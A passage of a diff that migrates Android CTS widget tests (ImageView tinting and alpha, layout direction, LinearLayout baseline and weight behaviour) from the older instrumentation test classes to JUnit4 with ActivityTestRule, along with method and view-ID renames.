+        assertEquals(PorterDuff.Mode.SRC_IN, imageViewTinted.getImageTintMode());
     }
 
+    @UiThreadTest
+    @Test
     public void testImageTintDrawableUpdates() {
         Drawable drawable = spy(mActivity.getDrawable(R.drawable.icon_red));
 
-        ImageView view = new ImageView(mActivity);
-        view.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(drawable);
         // No image tint applied by default
         verify(drawable, never()).setTintList(any(ColorStateList.class));
 
-        view.setImageTintList(ColorStateList.valueOf(Color.WHITE));
+        mImageViewRegular.setImageTintList(ColorStateList.valueOf(Color.WHITE));
         // Image tint applied when setImageTintList() called after setImageDrawable()
         verify(drawable, times(1)).setTintList(any(ColorStateList.class));
 
-        view.setImageDrawable(null);
-        view.setImageDrawable(drawable);
+        mImageViewRegular.setImageDrawable(null);
+        mImageViewRegular.setImageDrawable(drawable);
         // Image tint applied when setImageTintList() called before setImageDrawable()
         verify(drawable, times(2)).setTintList(any(ColorStateList.class));
     }
 
     @UiThreadTest
+    @Test
     public void testImageTintVisuals() {
-        mImageView = findImageViewById(R.id.image_tint_with_source);
-        TestUtils.assertAllPixelsOfColor("All pixels should be white", mImageView,
+        ImageView imageViewTinted = (ImageView) mActivity.findViewById(
+                R.id.imageview_tint_with_source);
+
+        TestUtils.assertAllPixelsOfColor("All pixels should be white", imageViewTinted,
                 0xFFFFFFFF, 1, false);
 
         // Use translucent white tint. Together with SRC_OVER mode (defined in XML) the end
         // result should be a fully opaque image view with solid fill color in between red
         // and white.
-        mImageView.setImageTintList(ColorStateList.valueOf(0x80FFFFFF));
-        TestUtils.assertAllPixelsOfColor("All pixels should be light red", mImageView,
+        imageViewTinted.setImageTintList(ColorStateList.valueOf(0x80FFFFFF));
+        TestUtils.assertAllPixelsOfColor("All pixels should be light red", imageViewTinted,
                 0xFFFF8080, 1, false);
 
         // Switch to SRC_IN mode. This should completely ignore the original drawable set on
         // the image view and use the last set tint color (50% alpha white).
-        mImageView.setImageTintMode(PorterDuff.Mode.SRC_IN);
-        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha white", mImageView,
+        imageViewTinted.setImageTintMode(PorterDuff.Mode.SRC_IN);
+        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha white", imageViewTinted,
                 0x80FFFFFF, 1, false);
 
         // Switch to DST mode. This should completely ignore the last set tint color and use the
         // the original drawable set on the image view.
-        mImageView.setImageTintMode(PorterDuff.Mode.DST);
-        TestUtils.assertAllPixelsOfColor("All pixels should be red", mImageView,
+        imageViewTinted.setImageTintMode(PorterDuff.Mode.DST);
+        TestUtils.assertAllPixelsOfColor("All pixels should be red", imageViewTinted,
                 0xFFFF0000, 1, false);
     }
 
     @UiThreadTest
+    @Test
     public void testAlpha() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.setImageResource(R.drawable.blue_fill);
+        mImageViewRegular.setImageResource(R.drawable.blue_fill);
 
-        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageView,
+        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageViewRegular,
                 0xFF0000FF, 1, false);
 
-        mImageView.setAlpha(128);
-        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha blue", mImageView,
+        mImageViewRegular.setAlpha(128);
+        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha blue", mImageViewRegular,
                 0x800000FF, 1, false);
 
-        mImageView.setAlpha(0);
-        TestUtils.assertAllPixelsOfColor("All pixels should be transparent", mImageView,
+        mImageViewRegular.setAlpha(0);
+        TestUtils.assertAllPixelsOfColor("All pixels should be transparent", mImageViewRegular,
                 0x00000000, 1, false);
 
-        mImageView.setAlpha(255);
-        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageView,
+        mImageViewRegular.setAlpha(255);
+        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageViewRegular,
                 0xFF0000FF, 1, false);
     }
 
     @UiThreadTest
+    @Test
     public void testImageAlpha() {
-        mImageView = findImageViewById(R.id.imageview);
-        mImageView.setImageResource(R.drawable.blue_fill);
+        mImageViewRegular.setImageResource(R.drawable.blue_fill);
 
-        assertEquals(255, mImageView.getImageAlpha());
-        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageView,
+        assertEquals(255, mImageViewRegular.getImageAlpha());
+        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageViewRegular,
                 0xFF0000FF, 1, false);
 
-        mImageView.setImageAlpha(128);
-        assertEquals(128, mImageView.getImageAlpha());
-        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha blue", mImageView,
+        mImageViewRegular.setImageAlpha(128);
+        assertEquals(128, mImageViewRegular.getImageAlpha());
+        TestUtils.assertAllPixelsOfColor("All pixels should be 50% alpha blue", mImageViewRegular,
                 0x800000FF, 1, false);
 
-        mImageView.setImageAlpha(0);
-        assertEquals(0, mImageView.getImageAlpha());
-        TestUtils.assertAllPixelsOfColor("All pixels should be transparent", mImageView,
+        mImageViewRegular.setImageAlpha(0);
+        assertEquals(0, mImageViewRegular.getImageAlpha());
+        TestUtils.assertAllPixelsOfColor("All pixels should be transparent", mImageViewRegular,
                 0x00000000, 1, false);
 
-        mImageView.setImageAlpha(255);
-        assertEquals(255, mImageView.getImageAlpha());
-        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageView,
+        mImageViewRegular.setImageAlpha(255);
+        assertEquals(255, mImageViewRegular.getImageAlpha());
+        TestUtils.assertAllPixelsOfColor("All pixels should be blue", mImageViewRegular,
                 0xFF0000FF, 1, false);
     }
 
-    protected static class MockImageView extends ImageView {
+    public static class MockImageView extends ImageView {
         public MockImageView(Context context) {
             super(context);
         }
@@ -619,29 +640,31 @@
             return ENABLED_STATE_SET;
         }
 
-        public static int[] getPressedEnabledStateSet() {
-            return PRESSED_ENABLED_STATE_SET;
-        }
         @Override
         protected void drawableStateChanged() {
             super.drawableStateChanged();
         }
+
         @Override
         protected void onDraw(Canvas canvas) {
             super.onDraw(canvas);
         }
+
         @Override
         protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec) {
             super.onMeasure(widthMeasureSpec, heightMeasureSpec);
         }
+
         @Override
         protected boolean onSetAlpha(int alpha) {
             return super.onSetAlpha(alpha);
         }
+
         @Override
         protected boolean setFrame(int l, int t, int r, int b) {
             return super.setFrame(l, t, r, b);
         }
+
         @Override
         protected boolean verifyDrawable(Drawable dr) {
             return super.verifyDrawable(dr);
diff --git a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
index 2369c5a..76c2ef6 100644
--- a/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LayoutDirectionTest.java
@@ -16,21 +16,42 @@
 
 package android.widget.cts;
 
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.view.ViewGroup;
-import android.widget.*;
-import android.widget.cts.R;
-
-import static android.view.View.LAYOUT_DIRECTION_LTR;
-import static android.view.View.LAYOUT_DIRECTION_RTL;
 import static android.view.View.LAYOUT_DIRECTION_INHERIT;
 import static android.view.View.LAYOUT_DIRECTION_LOCALE;
+import static android.view.View.LAYOUT_DIRECTION_LTR;
+import static android.view.View.LAYOUT_DIRECTION_RTL;
 
-public class LayoutDirectionTest extends ActivityInstrumentationTestCase2<LayoutDirectionCtsActivity> {
+import static org.junit.Assert.assertEquals;
 
-    public LayoutDirectionTest() {
-        super(LayoutDirectionCtsActivity.class);
+import android.app.Activity;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.GridLayout;
+import android.widget.LinearLayout;
+import android.widget.RelativeLayout;
+import android.widget.TableLayout;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LayoutDirectionTest {
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<LayoutDirectionCtsActivity> mActivityRule =
+            new ActivityTestRule<>(LayoutDirectionCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     private void checkDefaultDirectionForOneLayoutWithCode(ViewGroup vg) {
@@ -38,15 +59,16 @@
     }
 
     @UiThreadTest
+    @Test
     public void testLayoutDirectionDefaults() {
-        checkDefaultDirectionForOneLayoutWithCode(new LinearLayout(getActivity()));
-        checkDefaultDirectionForOneLayoutWithCode(new FrameLayout(getActivity()));
-        checkDefaultDirectionForOneLayoutWithCode(new TableLayout(getActivity()));
-        checkDefaultDirectionForOneLayoutWithCode(new RelativeLayout(getActivity()));
-        checkDefaultDirectionForOneLayoutWithCode(new GridLayout(getActivity()));
+        checkDefaultDirectionForOneLayoutWithCode(new LinearLayout(mActivity));
+        checkDefaultDirectionForOneLayoutWithCode(new FrameLayout(mActivity));
+        checkDefaultDirectionForOneLayoutWithCode(new TableLayout(mActivity));
+        checkDefaultDirectionForOneLayoutWithCode(new RelativeLayout(mActivity));
+        checkDefaultDirectionForOneLayoutWithCode(new GridLayout(mActivity));
     }
 
-    private void checkDirectionForOneLayoutWithCode(ViewGroup vg) {
+    private void verifyDirectionForOneLayoutWithCode(ViewGroup vg) {
         vg.setLayoutDirection(LAYOUT_DIRECTION_LTR);
         assertEquals(LAYOUT_DIRECTION_LTR, vg.getLayoutDirection());
 
@@ -63,16 +85,17 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDirectionForAllLayoutsWithCode() {
-        checkDirectionForOneLayoutWithCode(new LinearLayout(getActivity()));
-        checkDirectionForOneLayoutWithCode(new FrameLayout(getActivity()));
-        checkDirectionForOneLayoutWithCode(new TableLayout(getActivity()));
-        checkDirectionForOneLayoutWithCode(new RelativeLayout(getActivity()));
-        checkDirectionForOneLayoutWithCode(new GridLayout(getActivity()));
+        verifyDirectionForOneLayoutWithCode(new LinearLayout(mActivity));
+        verifyDirectionForOneLayoutWithCode(new FrameLayout(mActivity));
+        verifyDirectionForOneLayoutWithCode(new TableLayout(mActivity));
+        verifyDirectionForOneLayoutWithCode(new RelativeLayout(mActivity));
+        verifyDirectionForOneLayoutWithCode(new GridLayout(mActivity));
     }
 
-    private void checkDirectionInheritanceForOneLayoutWithCode(ViewGroup parent) {
-        LinearLayout child = new LinearLayout(getActivity());
+    private void verifyDirectionInheritanceForOneLayoutWithCode(ViewGroup parent) {
+        LinearLayout child = new LinearLayout(mActivity);
         child.setLayoutDirection(LAYOUT_DIRECTION_INHERIT);
         parent.addView(child);
 
@@ -90,74 +113,87 @@
     }
 
     @UiThreadTest
+    @Test
     public void testDirectionInheritanceForAllLayoutsWithCode() {
-        checkDirectionInheritanceForOneLayoutWithCode(new LinearLayout(getActivity()));
-        checkDirectionInheritanceForOneLayoutWithCode(new FrameLayout(getActivity()));
-        checkDirectionInheritanceForOneLayoutWithCode(new TableLayout(getActivity()));
-        checkDirectionInheritanceForOneLayoutWithCode(new RelativeLayout(getActivity()));
-        checkDirectionInheritanceForOneLayoutWithCode(new GridLayout(getActivity()));
+        verifyDirectionInheritanceForOneLayoutWithCode(new LinearLayout(mActivity));
+        verifyDirectionInheritanceForOneLayoutWithCode(new FrameLayout(mActivity));
+        verifyDirectionInheritanceForOneLayoutWithCode(new TableLayout(mActivity));
+        verifyDirectionInheritanceForOneLayoutWithCode(new RelativeLayout(mActivity));
+        verifyDirectionInheritanceForOneLayoutWithCode(new GridLayout(mActivity));
     }
 
-    private void checkDirectionForOneLayoutFromXml(int parentId, int parentDir, int parentResDir,
-                                                   int child1Id, int child1Dir, int child1ResDir,
-                                                   int child2Id, int child2Dir, int child2ResDir,
-                                                   int child3Id, int child3Dir, int child3ResDir,
-                                                   int child4Id, int child4Dir, int child4ResDir) {
-        ViewGroup ll = (ViewGroup) getActivity().findViewById(parentId);
+    private void verifyDirectionForOneLayoutFromXml(
+            int parentId, int parentDir, int parentResDir,
+            int child1Id, int child1Dir, int child1ResDir,
+            int child2Id, int child2Dir, int child2ResDir,
+            int child3Id, int child3Dir, int child3ResDir,
+            int child4Id, int child4Dir, int child4ResDir) {
+        ViewGroup ll = (ViewGroup) mActivity.findViewById(parentId);
         assertEquals(parentResDir, ll.getLayoutDirection());
 
-        ViewGroup child1 = (ViewGroup) getActivity().findViewById(child1Id);
+        ViewGroup child1 = (ViewGroup) mActivity.findViewById(child1Id);
         assertEquals(child1ResDir, child1.getLayoutDirection());
 
-        ViewGroup child2 = (ViewGroup) getActivity().findViewById(child2Id);
+        ViewGroup child2 = (ViewGroup) mActivity.findViewById(child2Id);
         assertEquals(child2ResDir, child2.getLayoutDirection());
 
-        ViewGroup child3 = (ViewGroup) getActivity().findViewById(child3Id);
+        ViewGroup child3 = (ViewGroup) mActivity.findViewById(child3Id);
         assertEquals(child3ResDir, child3.getLayoutDirection());
 
-        ViewGroup child4 = (ViewGroup) getActivity().findViewById(child4Id);
+        ViewGroup child4 = (ViewGroup) mActivity.findViewById(child4Id);
         assertEquals(child4ResDir, child4.getLayoutDirection());
     }
 
     @UiThreadTest
+    @Test
     public void testDirectionFromXml() {
         // We only test LinearLayout as the others would be the same (they extend ViewGroup / View)
-        checkDirectionForOneLayoutFromXml(
+        verifyDirectionForOneLayoutFromXml(
                 R.id.layout_linearlayout_ltr, LAYOUT_DIRECTION_LTR, LAYOUT_DIRECTION_LTR,
                 R.id.layout_linearlayout_ltr_child_1, LAYOUT_DIRECTION_LTR, LAYOUT_DIRECTION_LTR,
                 R.id.layout_linearlayout_ltr_child_2, LAYOUT_DIRECTION_RTL, LAYOUT_DIRECTION_RTL,
                 // parent is LTR
-                R.id.layout_linearlayout_ltr_child_3, LAYOUT_DIRECTION_INHERIT, LAYOUT_DIRECTION_LTR,
+                R.id.layout_linearlayout_ltr_child_3, LAYOUT_DIRECTION_INHERIT,
+                    LAYOUT_DIRECTION_LTR,
                 // running with English locale
-                R.id.layout_linearlayout_ltr_child_4, LAYOUT_DIRECTION_LOCALE, LAYOUT_DIRECTION_LTR);
+                R.id.layout_linearlayout_ltr_child_4, LAYOUT_DIRECTION_LOCALE,
+                    LAYOUT_DIRECTION_LTR);
 
-        checkDirectionForOneLayoutFromXml(
+        verifyDirectionForOneLayoutFromXml(
                 R.id.layout_linearlayout_rtl, LAYOUT_DIRECTION_RTL, LAYOUT_DIRECTION_RTL,
                 R.id.layout_linearlayout_rtl_child_1, LAYOUT_DIRECTION_LTR, LAYOUT_DIRECTION_LTR,
                 R.id.layout_linearlayout_rtl_child_2, LAYOUT_DIRECTION_RTL, LAYOUT_DIRECTION_RTL,
                 // parent is RTL
-                R.id.layout_linearlayout_rtl_child_3, LAYOUT_DIRECTION_INHERIT, LAYOUT_DIRECTION_RTL,
+                R.id.layout_linearlayout_rtl_child_3, LAYOUT_DIRECTION_INHERIT,
+                    LAYOUT_DIRECTION_RTL,
                 // running with English locale
-                R.id.layout_linearlayout_rtl_child_4, LAYOUT_DIRECTION_LOCALE, LAYOUT_DIRECTION_LTR);
+                R.id.layout_linearlayout_rtl_child_4, LAYOUT_DIRECTION_LOCALE,
+                    LAYOUT_DIRECTION_LTR);
 
-        checkDirectionForOneLayoutFromXml(
+        verifyDirectionForOneLayoutFromXml(
                 // default is LTR
                 R.id.layout_linearlayout_inherit, LAYOUT_DIRECTION_INHERIT, LAYOUT_DIRECTION_LTR,
-                R.id.layout_linearlayout_inherit_child_1, LAYOUT_DIRECTION_LTR, LAYOUT_DIRECTION_LTR,
-                R.id.layout_linearlayout_inherit_child_2, LAYOUT_DIRECTION_RTL, LAYOUT_DIRECTION_RTL,
+                R.id.layout_linearlayout_inherit_child_1, LAYOUT_DIRECTION_LTR,
+                    LAYOUT_DIRECTION_LTR,
+                R.id.layout_linearlayout_inherit_child_2, LAYOUT_DIRECTION_RTL,
+                    LAYOUT_DIRECTION_RTL,
                 // parent is LTR
-                R.id.layout_linearlayout_inherit_child_3, LAYOUT_DIRECTION_INHERIT, LAYOUT_DIRECTION_LTR,
+                R.id.layout_linearlayout_inherit_child_3, LAYOUT_DIRECTION_INHERIT,
+                    LAYOUT_DIRECTION_LTR,
                 // running with English locale
-                R.id.layout_linearlayout_inherit_child_4, LAYOUT_DIRECTION_LOCALE, LAYOUT_DIRECTION_LTR);
+                R.id.layout_linearlayout_inherit_child_4, LAYOUT_DIRECTION_LOCALE,
+                    LAYOUT_DIRECTION_LTR);
 
-        checkDirectionForOneLayoutFromXml(
+        verifyDirectionForOneLayoutFromXml(
                 // running with English locale
                 R.id.layout_linearlayout_locale, LAYOUT_DIRECTION_LOCALE, LAYOUT_DIRECTION_LTR,
                 R.id.layout_linearlayout_locale_child_1, LAYOUT_DIRECTION_LTR, LAYOUT_DIRECTION_LTR,
                 R.id.layout_linearlayout_locale_child_2, LAYOUT_DIRECTION_RTL, LAYOUT_DIRECTION_RTL,
                 // parent is LTR
-                R.id.layout_linearlayout_locale_child_3, LAYOUT_DIRECTION_INHERIT, LAYOUT_DIRECTION_LTR,
+                R.id.layout_linearlayout_locale_child_3, LAYOUT_DIRECTION_INHERIT,
+                    LAYOUT_DIRECTION_LTR,
                 // running with English locale
-                R.id.layout_linearlayout_locale_child_4, LAYOUT_DIRECTION_LOCALE, LAYOUT_DIRECTION_LTR);
+                R.id.layout_linearlayout_locale_child_4, LAYOUT_DIRECTION_LOCALE,
+                    LAYOUT_DIRECTION_LTR);
     }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayoutCtsActivity.java b/tests/tests/widget/src/android/widget/cts/LinearLayoutCtsActivity.java
index 4a04b52..c906342 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayoutCtsActivity.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayoutCtsActivity.java
@@ -16,10 +16,9 @@
 
 package android.widget.cts;
 
-import android.widget.cts.R;
-
 import android.app.Activity;
 import android.os.Bundle;
+import android.widget.cts.R;
 
 /**
  * A minimal application for {@link LinearLayout} test.
diff --git a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
index 4d0903a..35841a1 100644
--- a/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/LinearLayoutTest.java
@@ -16,15 +16,31 @@
 
 package android.widget.cts;
 
-import org.xmlpull.v1.XmlPullParser;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.annotation.ColorInt;
+import android.annotation.Nullable;
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.Context;
+import android.content.res.Resources;
 import android.graphics.Color;
-import android.test.ActivityInstrumentationTestCase;
+import android.graphics.Rect;
+import android.graphics.drawable.Drawable;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.test.ViewAsserts;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.Gravity;
 import android.view.View;
 import android.view.View.MeasureSpec;
 import android.view.ViewGroup;
@@ -34,7 +50,15 @@
 import android.widget.LinearLayout.LayoutParams;
 import android.widget.ListView;
 import android.widget.TextView;
-import android.widget.cts.R;
+import android.widget.cts.util.TestUtils;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.xmlpull.v1.XmlPullParser;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
@@ -42,134 +66,143 @@
 /**
  * Test {@link LinearLayout}.
  */
-public class LinearLayoutTest extends ActivityInstrumentationTestCase<LinearLayoutCtsActivity> {
-    private Context mContext;
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class LinearLayoutTest {
+    private Instrumentation mInstrumentation;
     private Activity mActivity;
 
-    public LinearLayoutTest() {
-        super("android.widget.cts", LinearLayoutCtsActivity.class);
+    @Rule
+    public ActivityTestRule<LinearLayoutCtsActivity> mActivityRule =
+            new ActivityTestRule<>(LinearLayoutCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
+    @Test
     public void testConstructor() {
-        new LinearLayout(mContext);
+        new LinearLayout(mActivity);
 
-        new LinearLayout(mContext, null);
+        new LinearLayout(mActivity, null);
 
-        XmlPullParser parser = mContext.getResources().getXml(R.layout.linearlayout_layout);
+        XmlPullParser parser = mActivity.getResources().getXml(R.layout.linearlayout_layout);
         AttributeSet attrs = Xml.asAttributeSet(parser);
-        new LinearLayout(mContext, attrs);
-
-        try {
-            new LinearLayout(null, null);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
+        new LinearLayout(mActivity, attrs);
     }
 
-    public void testAccessBaselineAligned() {
-        LinearLayout linearLayout = new LinearLayout(mContext);
-        linearLayout.setBaselineAligned(true);
-        assertTrue(linearLayout.isBaselineAligned());
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        new LinearLayout(null, null);
+    }
 
-        linearLayout.setBaselineAligned(false);
-        assertFalse(linearLayout.isBaselineAligned());
+    @UiThreadTest
+    @Test
+    public void testAccessBaselineAligned() {
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_empty);
+        parent.setBaselineAligned(true);
+        assertTrue(parent.isBaselineAligned());
+
+        parent.setBaselineAligned(false);
+        assertFalse(parent.isBaselineAligned());
 
         // android:baselineAligned="false" in LinearLayout weightsum
-        linearLayout = (LinearLayout) mActivity.findViewById(R.id.weightsum);
-        assertFalse(linearLayout.isBaselineAligned());
+        parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum);
+        assertFalse(parent.isBaselineAligned());
 
         // default mBaselineAligned is true.
-        linearLayout = (LinearLayout) mActivity.findViewById(R.id.horizontal);
-        assertTrue(linearLayout.isBaselineAligned());
+        parent = (LinearLayout) mActivity.findViewById(R.id.linear_horizontal);
+        assertTrue(parent.isBaselineAligned());
 
         // default mBaselineAligned is true.
         // Only applicable if {@link #mOrientation} is horizontal
-        linearLayout = (LinearLayout) mActivity.findViewById(R.id.vertical);
-        assertTrue(linearLayout.isBaselineAligned());
+        parent = (LinearLayout) mActivity.findViewById(R.id.linear_vertical);
+        assertTrue(parent.isBaselineAligned());
     }
 
+    @UiThreadTest
+    @Test
     public void testGetBaseline() {
-        LinearLayout linearLayout = new LinearLayout(mContext);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_empty);
 
-        ListView lv1 = new ListView(mContext);
-        linearLayout.addView(lv1);
-        assertEquals(-1, linearLayout.getBaseline());
+        ListView lv1 = new ListView(mActivity);
+        parent.addView(lv1);
+        assertEquals(-1, parent.getBaseline());
 
-        ListView lv2 = new ListView(mContext);
-        linearLayout.addView(lv2);
-        linearLayout.setBaselineAlignedChildIndex(1);
+        ListView lv2 = new ListView(mActivity);
+        parent.addView(lv2);
+        parent.setBaselineAlignedChildIndex(1);
         try {
-            linearLayout.getBaseline();
+            parent.getBaseline();
             fail("LinearLayout.getBaseline() should throw exception here.");
         } catch (RuntimeException e) {
         }
 
-        MockListView lv3 = new MockListView(mContext);
-        linearLayout.addView(lv3);
-        linearLayout.setBaselineAlignedChildIndex(2);
-        assertEquals(lv3.getBaseline(), linearLayout.getBaseline());
+        ListView lv3 = new MockListView(mActivity);
+        parent.addView(lv3);
+        parent.setBaselineAlignedChildIndex(2);
+        assertEquals(lv3.getBaseline(), parent.getBaseline());
     }
 
+    @UiThreadTest
+    @Test
     public void testAccessBaselineAlignedChildIndex() {
-        LinearLayout linearLayout = new LinearLayout(mContext);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_empty);
+
         // set BaselineAlignedChildIndex
-        ListView lv1 = new ListView(mContext);
-        ListView lv2 = new ListView(mContext);
-        ListView lv3 = new ListView(mContext);
-        linearLayout.addView(lv1);
-        linearLayout.addView(lv2);
-        linearLayout.addView(lv3);
-        linearLayout.setBaselineAlignedChildIndex(1);
-        assertEquals(1, linearLayout.getBaselineAlignedChildIndex());
+        ListView lv1 = new ListView(mActivity);
+        ListView lv2 = new ListView(mActivity);
+        ListView lv3 = new ListView(mActivity);
+        parent.addView(lv1);
+        parent.addView(lv2);
+        parent.addView(lv3);
+        parent.setBaselineAlignedChildIndex(1);
+        assertEquals(1, parent.getBaselineAlignedChildIndex());
 
-        linearLayout.setBaselineAlignedChildIndex(2);
-        assertEquals(2, linearLayout.getBaselineAlignedChildIndex());
+        parent.setBaselineAlignedChildIndex(2);
+        assertEquals(2, parent.getBaselineAlignedChildIndex());
 
         try {
-            linearLayout.setBaselineAlignedChildIndex(-1);
+            parent.setBaselineAlignedChildIndex(-1);
             fail("LinearLayout should throw IllegalArgumentException here.");
         } catch (IllegalArgumentException e) {
         }
         try {
-            linearLayout.setBaselineAlignedChildIndex(3);
+            parent.setBaselineAlignedChildIndex(3);
             fail("LinearLayout should throw IllegalArgumentException here.");
         } catch (IllegalArgumentException e) {
         }
 
-        linearLayout = (LinearLayout) mActivity.findViewById(R.id.baseline_aligned_child_index);
-        assertEquals(1, linearLayout.getBaselineAlignedChildIndex());
+        parent = (LinearLayout) mActivity.findViewById(R.id.linear_baseline_aligned_child_index);
+        assertEquals(1, parent.getBaselineAlignedChildIndex());
     }
 
     /**
      * weightsum is a horizontal LinearLayout. There are three children in it.
      */
+    @Test
     public void testAccessWeightSum() {
-        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.weightsum);
-        TextView weight02 = (TextView) mActivity.findViewById(R.id.weight_0_2);
-        TextView weight05 = (TextView) mActivity.findViewById(R.id.weight_0_5);
-        TextView weight03 = (TextView) mActivity.findViewById(R.id.weight_0_3);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_weightsum);
+        TextView weight02 = (TextView) parent.findViewById(R.id.weight_0_2);
+        TextView weight05 = (TextView) parent.findViewById(R.id.weight_0_5);
+        TextView weight03 = (TextView) parent.findViewById(R.id.weight_0_3);
 
         assertNotNull(parent);
         assertNotNull(weight02);
         assertNotNull(weight05);
         assertNotNull(weight03);
 
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_1),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_1),
                 weight02.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_2),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_2),
                 weight05.getText().toString());
-        assertEquals(mContext.getResources().getString(R.string.horizontal_text_3),
+        assertEquals(mActivity.getResources().getString(R.string.horizontal_text_3),
                 weight03.getText().toString());
 
         assertEquals(LinearLayout.HORIZONTAL, parent.getOrientation());
-        assertEquals(1.0f, parent.getWeightSum());
+        assertEquals(1.0f, parent.getWeightSum(), 0.0f);
 
         int parentWidth = parent.getWidth();
         assertEquals(Math.ceil(parentWidth * 0.2), weight02.getWidth(), 1.0);
@@ -177,109 +210,113 @@
         assertEquals(Math.ceil(parentWidth * 0.3), weight03.getWidth(), 1.0);
     }
 
+    @UiThreadTest
+    @Test
     public void testWeightDistribution() {
-        LinearLayout layout = new LinearLayout(mActivity);
+        LinearLayout parent = (LinearLayout) mActivity.findViewById(R.id.linear_empty);
+
         for (int i = 0; i < 3; i++) {
-            layout.addView(new View(mActivity), new LayoutParams(0, 0, 1));
+            parent.addView(new View(mActivity), new LayoutParams(0, 0, 1));
         }
 
         int size = 100;
         int spec = MeasureSpec.makeMeasureSpec(size, MeasureSpec.EXACTLY);
 
         for (int i = 0; i < 3; i++) {
-            View child = layout.getChildAt(i);
+            View child = parent.getChildAt(i);
             LayoutParams lp = (LayoutParams) child.getLayoutParams();
             lp.height = 0;
             lp.width = LayoutParams.MATCH_PARENT;
             child.setLayoutParams(lp);
         }
-        layout.setOrientation(LinearLayout.VERTICAL);
-        layout.measure(spec, spec);
-        layout.layout(0, 0, size, size);
-        assertEquals(100, layout.getWidth());
-        assertEquals(100, layout.getChildAt(0).getWidth());
-        assertEquals(100, layout.getChildAt(1).getWidth());
-        assertEquals(100, layout.getChildAt(2).getWidth());
-        assertEquals(100, layout.getHeight());
-        assertEquals(33, layout.getChildAt(0).getHeight());
-        assertEquals(33, layout.getChildAt(1).getHeight());
-        assertEquals(34, layout.getChildAt(2).getHeight());
+        parent.setOrientation(LinearLayout.VERTICAL);
+        parent.measure(spec, spec);
+        parent.layout(0, 0, size, size);
+        assertEquals(100, parent.getWidth());
+        assertEquals(100, parent.getChildAt(0).getWidth());
+        assertEquals(100, parent.getChildAt(1).getWidth());
+        assertEquals(100, parent.getChildAt(2).getWidth());
+        assertEquals(100, parent.getHeight());
+        assertEquals(33, parent.getChildAt(0).getHeight());
+        assertEquals(33, parent.getChildAt(1).getHeight());
+        assertEquals(34, parent.getChildAt(2).getHeight());
 
         for (int i = 0; i < 3; i++) {
-            View child = layout.getChildAt(i);
+            View child = parent.getChildAt(i);
             LayoutParams lp = (LayoutParams) child.getLayoutParams();
             lp.height = LayoutParams.MATCH_PARENT;
             lp.width = 0;
             child.setLayoutParams(lp);
         }
-        layout.setOrientation(LinearLayout.HORIZONTAL);
-        layout.measure(spec, spec);
